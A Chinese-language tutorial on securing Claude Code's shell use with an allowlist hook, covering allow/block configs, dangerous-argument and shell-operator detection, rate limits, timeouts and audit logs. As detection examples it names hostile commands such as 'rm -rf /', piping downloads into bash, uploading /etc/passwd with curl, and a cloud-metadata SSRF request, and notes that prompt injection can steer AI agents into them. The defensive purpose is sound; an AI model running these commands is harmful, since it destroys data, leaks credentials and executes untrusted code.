一、命令白名单Hook的设计
命令白名单Hook是Claude Code安全体系中的核心防线之一。它的设计目标是限制Claude Code在运行过程中只能执行预先批准的Shell命令,从而有效防止恶意命令注入、误操作和数据泄露等安全风险。
在大模型Agent的开发环境中,AI助手会频繁调用Shell命令来完成文件操作、代码构建、版本控制等任务。如果没有命令管控机制,攻击者可能通过Prompt注入诱导AI执行 rm -rf /、curl 恶意服务器 | bash 等危险命令。命令白名单Hook通过"允许-拒绝"策略从根本上杜绝了这一类风险。
设计原理: 命令白名单Hook基于"最小权限原则"——只授予AI执行任务所必需的命令权限,禁止一切未明确授权的操作。这与操作系统的安全设计思路一脉相承。
核心架构
命令白名单Hook的整体架构包含以下核心模块:
- 命令解析器:从Bash工具调用的参数中提取命令名和参数列表
- 策略引擎:加载白名单/黑名单配置,判断命令是否允许执行
- 参数检测器:对允许执行的命令进一步检查参数是否安全
- 频率控制器:监控命令调用频率,防止滥用
- 审计记录器:将每次命令执行的结果记录到审计日志
Hook切入点设计
命令白名单Hook主要在 before:tool/Bash 和 after:tool/Bash 两个事件点切入:
- before:tool/Bash:在Shell命令执行前进行白名单检查、参数检测、频率检测。如果检测到违规,直接阻断执行并返回错误信息。
- after:tool/Bash:在Shell命令执行完成后记录审计日志,包括执行结果、退出码、耗时等信息。
要点总结: 命令白名单Hook是"事前检查+事后审计"的双重安全机制。事前检查防止危险命令执行,事后审计提供完整追溯能力。两者缺一不可。
二、白名单/黑名单配置
白名单和黑名单是命令管控的两种基础策略。推荐使用白名单模式作为默认策略,黑名单模式作为补充。
白名单模式(推荐)
白名单模式仅允许列表中的命令执行,所有未在列表中的命令都会被拒绝。这种方式提供了最强的安全保障,因为即使AI被Prompt注入,也无法执行白名单之外的任何命令。
// 白名单配置示例 (JSON格式)
{
"allowlist": {
"commands": [
"ls", "cat", "head", "tail", "wc",
"grep", "find", "sort", "uniq",
"git", "npm", "node", "python",
"mkdir", "touch", "cp", "mv", "rm",
"echo", "printf", "date", "pwd",
"curl", "wget"
],
"mode": "strict" // strict: 严格模式,拒绝所有未列出的命令
}
}
黑名单模式
黑名单模式允许除列表中命令以外的所有命令执行。这种模式相对宽松,适合开发环境或信任度较高的场景,但无法防御未知的新型攻击命令。
// 黑名单配置示例 (JSON格式)
{
"blocklist": {
"commands": [
"shred", "dd", "mkfs", "fdisk",
"chmod", "chown", "sudo", "su",
"passwd", "useradd", "usermod",
"kill", "pkill", "systemctl",
"reboot", "shutdown", "init",
"wget", "curl" // 在严格环境中可加入
],
"action": "block_and_alert" // block: 阻断; block_and_alert: 阻断并告警
}
}
按项目/环境差异化配置
不同的项目可能有不同的安全需求。命令白名单Hook支持按项目和环境进行差异化配置:
// 多环境差异化配置示例
{
"profiles": {
"development": {
"mode": "blocklist",
"blocklist": { "commands": ["shred", "dd", "mkfs"] }
},
"staging": {
"mode": "allowlist",
"allowlist": { "commands": ["ls", "cat", "git", "npm", "node"] }
},
"production": {
"mode": "allowlist",
"allowlist": { "commands": ["ls", "cat", "tail", "grep"] },
"audit": { "enabled": true, "log_all": true }
}
},
"current_profile": "development"
}
安全建议: 对于生产环境或涉及敏感数据的项目,务必使用白名单模式。黑名单模式只能作为开发环境的辅助手段,永远不要依赖黑名单来阻止所有攻击。
三、危险参数检测Hook(before:tool/Bash)
即使命令在白名单中,某些参数组合也可能是危险的。危险参数检测Hook在 before:tool/Bash 事件中拦截命令调用,对命令参数进行深度分析,识别并阻断危险操作。
检测rm -rf等破坏性参数
rm 命令通常是白名单中的合法命令(用于清理临时文件),但 rm -rf /、rm -rf ~、rm -rf /* 等参数组合会带来毁灭性后果。参数检测器专门针对这类模式进行匹配。
// 危险rm参数检测逻辑示例
function detectDangerousRmArgs(args) {
const dangerousPatterns = [
{ pattern: /^-rf\s+\/|^-rf\s+\/\*/, risk: '删除根目录' },
{ pattern: /^-rf\s+~/, risk: '删除用户主目录' },
{ pattern: /^-rf\s+\/etc/, risk: '删除系统配置' },
{ pattern: /^-rf\s+\/var/, risk: '删除系统数据' },
{ pattern: /^-rf\s+\/boot/, risk: '删除启动分区' },
{ pattern: /^-rf\s+\/dev\/null/, risk: '清空关键设备' }
];
for (const { pattern, risk } of dangerousPatterns) {
if (pattern.test(args)) {
return { dangerous: true, risk };
}
}
return { dangerous: false };
}
检测curl/wget命令的SSRF风险参数
curl 和 wget 常用于下载依赖或调用API,但可能被用于SSRF攻击、数据外泄或下载恶意脚本。参数检测器会对这些命令的URL参数进行安全检查。
- 禁止请求内网地址:
127.0.0.1、localhost、10.x.x.x、172.16-31.x.x、192.168.x.x
- 禁止请求敏感端点:云元数据服务(
169.254.169.254)、Kubernetes API Server等
- 禁止下载后通过管道执行:如
curl xxx | bash、wget xxx -O- | sh
- 禁止上传本地文件:
curl -F "file=@/etc/passwd"
检测git push --force等危险Git操作
Git是开发工作流中的高频命令,但某些Git操作具有破坏性。参数检测器会标记以下危险Git操作:
| 危险操作 |
风险说明 |
建议替代 |
git push --force |
强制推送,覆盖远程仓库历史 |
git push --force-with-lease |
git reset --hard HEAD~ |
丢弃最近的提交和本地修改 |
git reset --soft HEAD~ |
git checkout -- . |
丢弃所有本地未提交的修改 |
逐个文件检查后再决定 |
git clean -fd |
强制删除所有未跟踪文件和目录 |
git clean -n 预览后再操作 |
git branch -D |
强制删除尚未合并的分支 |
git branch -d |
检测管道组合实施的复杂攻击
攻击者经常利用Shell的管道(|)、分号(;)、逻辑与(&&)等操作符将多个命令串联起来实施复杂攻击。参数检测器需要对整个命令字符串进行整体分析。
// Shell操作符检测逻辑示例
function detectShellOperators(commandStr) {
const shellOperators = [
{ op: '|', risk: '管道执行——可能用于命令链攻击' },
{ op: ';', risk: '顺序执行——可能同时执行多个命令' },
{ op: '&&', risk: '条件执行——可能在前置成功后执行恶意命令' },
{ op: '||', risk: '条件执行——可能在前置失败后执行恶意命令' },
{ op: '$', risk: '变量/命令替换——可能动态生成恶意命令' },
{ op: '`', risk: '命令替换——可能在内联中执行恶意命令' },
{ op: '>()',risk: '进程替换——可能执行隐藏命令' }
];
// 安全的白名单组合(允许的管道用法)
const safePatterns = [
/^\s*(cat|ls|grep|head|tail|sort|uniq|wc)\s+.*\|\s*(head|tail|grep|sort|uniq|wc|less|more)\s*/
];
for (const { op, risk } of shellOperators) {
if (commandStr.includes(op)) {
// 检查是否为安全模式
const isSafe = safePatterns.some(p => p.test(commandStr));
if (!isSafe) {
return { dangerous: true, operator: op, risk };
}
}
}
return { dangerous: false };
}
最佳实践: 危险参数检测应当分层进行——先做命令维度的白名单检查,再对参数做模式匹配,最后对命令组合做语义分析。三层检测叠加可以提供深度防御。
四、命令频率和超时控制
即使每个单独的命令都是安全的,高频调用或长时间运行的命令也可能带来风险。频率控制和超时控制是命令管控的第二道防线。
频率限制设计
频率限制防止AI在短时间内大量调用Shell命令,从而避免以下风险:
- 资源耗尽:短时间内启动大量进程,耗尽系统资源
- API速率限制:对GitHub、NPM等外部服务的API进行高频调用触发限流
- 网络攻击:用于发起DoS攻击或暴力破解
- 日志洪泛:产生大量无意义的输出,掩盖真正的恶意行为
// 频率限制配置示例
{
"rate_limit": {
"enabled": true,
"strategy": "sliding_window", // sliding_window: 滑动窗口; token_bucket: 令牌桶
"limits": [
{ "command": "*", "max_calls": 30, "window_seconds": 60 }, // 全部命令: 30次/分钟
{ "command": "curl", "max_calls": 5, "window_seconds": 60 }, // curl: 5次/分钟
{ "command": "wget", "max_calls": 3, "window_seconds": 60 }, // wget: 3次/分钟
{ "command": "git", "max_calls": 20, "window_seconds": 60 }, // git: 20次/分钟
{ "command": "npm", "max_calls": 10, "window_seconds": 60 }, // npm: 10次/分钟
{ "command": "rm", "max_calls": 10, "window_seconds": 60 } // rm: 10次/分钟
],
"action_on_exceed": "block_and_alert"
}
}
超时控制设计
某些命令可能会长时间运行(如大型编译任务、网络请求等)。超时控制确保命令不会无限期运行,从而避免资源泄漏。
// 超时控制配置示例
{
"timeout": {
"enabled": true,
"default_timeout_ms": 30000, // 默认超时:30秒
"per_command": {
"npm install": 120000, // npm install: 120秒
"pip install": 120000, // pip install: 120秒
"make": 180000, // make: 180秒
"curl": 60000, // curl: 60秒
"wget": 60000, // wget: 60秒
"git clone": 180000 // git clone: 180秒
},
"action_on_timeout": "terminate_and_alert" // terminate: 终止; terminate_and_alert: 终止并告警
}
}
要点总结: 频率限制防止"量"的攻击(大量小命令),超时控制防止"质"的攻击(单个大命令)。两者配合使用,可以覆盖绝大多数命令层面的滥用场景。
高频调用告警通知
当命令调用频率超过阈值或发生超时时,系统应当触发告警通知:
- 控制台告警:在终端输出红色警告信息
- 通知推送:通过Webhook发送到企业微信、Slack、飞书等
- 日志记录:将告警事件写入专门的告警日志文件
- 降级策略:达到阈值后临时锁定该命令的执行权限,等待人工确认
五、命令执行审计
审计日志是安全事件溯源和合规审计的基础。命令白名单Hook在 after:tool/Bash 事件中记录每次命令执行的完整信息。
审计日志格式
每条审计记录包含以下字段:
| 字段 |
说明 |
示例 |
timestamp |
命令执行时间(ISO 8601格式) |
2026-05-08T10:07:48.000Z |
session_id |
当前会话的唯一标识 |
sess_abc123def456 |
command |
执行的完整命令字符串 |
git status |
args |
命令参数数组 |
["status"] |
working_dir |
执行命令时的工作目录 |
/home/user/project |
exit_code |
命令退出码 |
0 |
duration_ms |
命令执行耗时(毫秒) |
234 |
allowed |
是否通过白名单检查 |
true |
check_result |
安全检测结果详情 |
{"bypassed": false, "risk": null} |
审计日志存储
审计日志可以采用多种存储方式:
- 本地文件:按天轮转的JSON Lines文件,便于使用
grep、jq 等工具查询
- SQLite数据库:结构化存储,支持SQL查询
- ELK/Splunk:集中式日志平台,适合大规模部署
// 审计日志输出示例 (JSON Lines格式)
{"timestamp":"2026-05-08T10:07:48.000Z","session_id":"sess_abc123","command":"ls","args":["-la"],"working_dir":"/home/user/project","exit_code":0,"duration_ms":12,"allowed":true,"check_result":{"bypassed":false,"risk":null}}
{"timestamp":"2026-05-08T10:07:49.000Z","session_id":"sess_abc123","command":"git","args":["status"],"working_dir":"/home/user/project","exit_code":0,"duration_ms":45,"allowed":true,"check_result":{"bypassed":false,"risk":null}}
{"timestamp":"2026-05-08T10:07:50.000Z","session_id":"sess_abc123","command":"curl","args":["http://169.254.169.254/latest/meta-data/"],"working_dir":"/home/user/project","exit_code":1,"duration_ms":230,"allowed":false,"check_result":{"bypassed":true,"risk":"SSRF: 请求云元数据服务"}}
审计日志查询
审计日志的价值在于可查询和可追溯。以下是一些常用查询场景:
# 查看所有被拒绝的命令
jq 'select(.allowed == false) | {command, check_result}' audit.jsonl
# 查看某个会话的所有操作
jq 'select(.session_id == "sess_abc123")' audit.jsonl
# 统计各命令的执行次数
jq -r '.command' audit.jsonl | sort | uniq -c | sort -rn
# 查看执行耗时超过1秒的命令
jq 'select(.duration_ms > 1000) | {command, duration_ms}' audit.jsonl
# 查看特定时间范围内的操作
jq 'select(.timestamp > "2026-05-08T00:00:00Z" and .timestamp < "2026-05-09T00:00:00Z")' audit.jsonl
异常命令执行告警
审计系统应当实时分析命令执行数据,对以下异常行为触发告警:
- 短时间内大量失败:1分钟内超过5次命令被拒绝,可能有人在尝试绕过安全策略
- 异常时间执行:在非常规工作时间大量执行命令
- 敏感命令组合:先下载后执行(
curl + bash)、先提权后操作等模式
- 异常目录操作:在系统敏感目录(
/etc、/var、/usr)中执行写操作
- 偏离基线的行为:命令调用模式与历史基线偏差超过3个标准差
实践提示: 审计日志的价值随时间的积累而增长。建议至少保留90天以上的审计数据,并定期进行安全审计复盘。日志轮转策略应当确保长期存储的可行性,同时控制存储成本。
核心要点总结: 命令白名单Hook是一个完整的安全管控体系,涵盖"事前准入检查(白名单+黑名单)→ 事中参数深度检测(危险模式匹配+Shell操作符分析)→ 执行资源控制(频率限制+超时控制)→ 事后审计追溯(完整日志+异常告警)"四个环节。每一环节都不可或缺,共同构建起Shell命令执行的安全防线。在生产环境中部署Claude Code等AI Agent时,命令白名单Hook是必须配置的安全组件之一。